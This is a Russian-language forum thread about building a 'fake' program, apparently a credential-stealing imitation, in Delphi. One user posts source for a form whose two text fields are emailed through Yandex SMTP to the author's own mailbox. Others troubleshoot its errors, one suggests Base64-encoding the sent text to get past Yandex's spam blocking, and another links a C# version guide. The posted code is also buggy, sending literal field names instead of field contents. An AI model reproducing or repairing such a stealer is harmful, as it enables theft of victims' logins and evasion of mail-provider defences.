[Руководство] Создаём фейк программмы. Часть 1. Delphi version

[demonn1994]

нет получатель другой, но тоже на яндексе

[Leo_ня]

Ну тогда давай исходник, гадать мы не собираемся. Или думай сам.

[demonn1994]

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
  IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
  StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    IdAntiFreeze1: TIdAntiFreeze;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
begin
// Начало кода обработчика кнопки

idsmtp1.Host:='smtp.yandex.ru';  //smtp сервер
idsmtp1.HeloName:='vasjapupkin112';  // логин
idsmtp1.Port:=25;              // порт можно 25, но он не у всех открыт, рекомендую 587
idsmtp1.Username:='vasjapupkin112';  // логин опять
idsmtp1.Password:='qwerty123';     //пароль
idmessage1.CharSet:='windows-1251';  // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
idmessage1.ContentType := 'text/html'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
//IdMessage1.ContentType:= 'text/plain';
idmessage1.Body.Text:='Edit1.Text'+'Edit2.Text';         // текст сообщения (тип string)
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]';    // От кого, надо чтоб совпадало с реальной почтой, иначе не отправиться
idmessage1.Recipients.EMailAddresses:='моё-мыло@yandex.ru'; // куда шлём
idmessage1.Subject:=' asda ';    // тема
 idsmtp1.Connect;   // соединение
 if idsmtp1.Connected=true then  // когда подключиться то...
 begin
idsmtp1.Send(idmessage1);   //отправить сообщение 1
idsmtp1.Disconnect();     // дисконнект
 end
// Конец кода обработчика кнопки
end;
end;

end.

[Leo_ня]

Только что проверил. Яндекс блочит из-за подозрений в спаме.

[demonn1994]

На маиле тоже, ток другая ошибка(

[Leo_ня]

Предлагаю шифровать отправляемый текст в Base64.

[demonn1994]

и как это сделать?)

[Leo_ня]

Ещё одно предложение: сначала погугли, прежде чем задать вопрос.
В инете куча исходников.

[Ссылки могут видеть только зарегистрированные пользователи. ]

В компонентах Indy есть Base64Encoder.

[demonn1994]

я всё-равно незнаю как с этим базе обращатся куда пихать и что к чему вообще ,) я просто хотел узнать почему по инструкции не выходит нефига

[Leo_ня]

Цитата: узнать почему по инструкции не выходит нефига

Потому что программировать по инструции нельзя

Ты же не читаешь инструкции к тому, как писать инструкции?

[zuzzz]

Цитата: Сообщение от TBX1n saschawiebe, вечером приеду, напишу гайд по созданию фейка на C#. zuzzz, не пишите глупостей, если не владеете знаниями в данной области. Для использования WinApi есть замечательный pinvoke, в частности DllImport.

Я не написал, что нельзя использовать winapi. Да у меня маловато знаний в этой области. Я сам ни разу не вызывал небезопасный код из C#, и не знаю как это будет работать. Но это и не глупость. Смысл использовать новую технологию и цепляться за старые. Не уж то в .NET Framework не найдется аналогов этих winAPI используемые в этой програмке?

[Kitsune]

Вот собственно гайд: http://zhyk.ru/forum/showthread.php?t=99460, как написать фейк на C#

[Bulat Sergiu]

Народ... Я зделал всё как на том видео уроке.. ну вот когда нажимаю старт показывает что в этом ряду есть ошибка !!!

IdMessage1InitializeISO(var VTransferHeader: TTransfer ; var VHeaderEncoding: Char; var VCharSet: String);

Ошибка после TTransfer... В чём она???

[.AsTex.]

у меня выдает ошибку Connecting timed out что такое?

[object]

Цитата: Сообщение от anderwhat у меня выдает ошибку Connecting timed out что такое?

Времени ответного пакета нету. Т.е время вышло, а обратно инфы не поступило.